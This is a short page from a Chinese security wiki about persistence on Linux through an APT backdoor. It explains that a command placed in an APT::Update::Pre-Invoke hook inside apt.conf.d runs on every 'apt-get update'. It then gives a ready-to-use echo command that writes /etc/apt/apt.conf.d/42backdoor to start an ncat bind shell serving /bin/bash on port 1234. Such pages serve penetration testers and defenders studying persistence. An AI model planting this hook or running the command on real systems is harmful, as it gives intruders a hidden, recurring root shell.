> For the complete documentation index, see [llms.txt](https://www.heresecurity.wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.heresecurity.wiki/quan-xian-wei-chi/linux/apt-hou-men.md).

# apt后门

```
如果您可以使用以下命令在apt.conf.d目录中创建一个文件：APT::Update::Pre-Invoke {"CMD"}; 下次"apt-get update"完成时，CMD 将被执行！

echo 'APT::Update::Pre-Invoke {"nohup ncat -lvp 1234 -e /bin/bash 2> /dev/null &"};' > /etc/apt/apt.conf.d/42backdoor
```